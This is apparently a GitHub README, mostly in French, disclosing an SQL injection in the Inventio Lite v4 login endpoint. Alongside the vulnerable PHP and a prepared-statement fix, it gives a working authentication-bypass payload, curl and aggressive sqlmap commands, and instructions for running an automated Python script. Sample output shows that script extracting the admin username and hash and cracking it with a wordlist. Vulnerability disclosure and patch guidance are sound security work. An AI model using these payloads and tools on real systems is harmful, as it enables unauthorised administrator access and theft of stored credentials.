
This repository details a SQL Injection vulnerability in Inventio Lite v4's, including exploitation steps and a Python script to automate the attack. It provides information on the vulnerable code, recommended fixes, and how to extract and decrypt administrative credentials.
Inventio Lite v4 est vulnérable à l'injection SQL (SQLi) dans le point de terminaison /action=processlogin. Cette vulnérabilité permet à un attaquant d'injecter des requêtes SQL arbitraires via le paramètre username dans les requêtes POST, ce qui peut conduire à un accès non autorisé et à une extraction de données.
Le code vulnérable est le suivant :
if(!isset($_SESSION["user_id"])) {
$user = $_POST['username'];
$pass = sha1(md5($_POST['password']));
$base = new Database();
$con = $base->connect();
$sql = "select * from user where (email= \"".$user."\" or username= \"".$user."\") and password= \"".$pass."\" and is_active=1";
$query = $con->query($sql);
$found = false;
$userid = null;
while($r = $query->fetch_array()){
$found = true;
$userid = $r['id'];
}
}
Capture d'écran du code vulnérable :

Le problème est corrigé en utilisant des requêtes préparées :
if(!isset($_SESSION["user_id"])) {
$user = $_POST['username'];
$pass = sha1(md5($_POST['password']));
$base = new Database();
$con = $base->connect();
// Prepare the query
$stmt = $con->prepare("
SELECT * FROM user
WHERE (email = ? OR username = ?)
AND password = ?
AND is_active = 1
");
// Bind parameters
$stmt->bind_param("sss", $user, $user, $pass);
// Execute query
$stmt->execute();
// Get result
$result = $stmt->get_result();
$found = false;
$userid = null;
while($r = $result->fetch_assoc()){
$found = true;
$userid = $r['id'];
}
// Close statement
$stmt->close();
}
Pour exploiter cette vulnérabilité, utilisez la charge utile suivante :
user -> ") or 1=1-- -
pass -> blablalba
Exemple d'attaque avec curl :
$ curl -X POST http://192.168.1.51/inventio-lite/?action=processlogin -d 'username=%22%29%20or%201%3D1--%20-&password=blablabla' -v && echo ""
$ sqlmap -u http://192.168.1.51/inventio-lite/?action=processlogin --data="username=*&password=*" --level 5 --risk 3 --dbms=mysql --dbs --prefix='")' --batch --dbs
Pour automatiser l'exploitation et l'extraction du nom d'utilisateur et du hachage du mot de passe de l'administrateur, vous pouvez utiliser le script Python fourni, sqli.py.
Vous pouvez cloner ce dépôt :
git clone https://github.com/pointedsec/CVE-2024-44541
Installez ensuite les dépendances avec pip :
pip install -r requirements.txt
Modifiez les variables suivantes dans le script selon vos besoins :
BASE_URL = "http://192.168.1.51/inventio-lite/"PWD_DIC_PATH = "/usr/share/wordlists/rockyou.txt"Exécutez le script, qui extraira le nom d'utilisateur et le hachage de l'administrateur, puis tentera de casser le hachage avec le format SHA1(MD5(password)).
Exemple de sortie :
$ python3 sqli.py
[*] Checking if target is vulnerable
[+] Target Vulnerable!
[*] Dumping Administrator username...
[◤] Extracting Username: -> [email protected]
[/] Extracting Admin Password Hash: Final Admin Hash: 90b9aa7e25f80cf4f64e990b78a9fc5ebd6cecad
[+] Password Decrypted! -> [email protected]:admin
[*] Try to Log In with that username, if that doesn't work, try with some uppercase/lowercase combinations
Confidentialité : Les attaquants peuvent vider l'intégralité de la base de données, exposant des données sensibles telles que les identifiants des utilisateurs et leurs informations personnelles.
Intégrité : Les attaquants peuvent contourner l'authentification et obtenir un accès administrateur, leur permettant de modifier ou de supprimer des données.
Ce rapport de vulnérabilité a été identifié par Andrés Del Cerro. Pour plus de détails, veuillez me contacter à [email protected]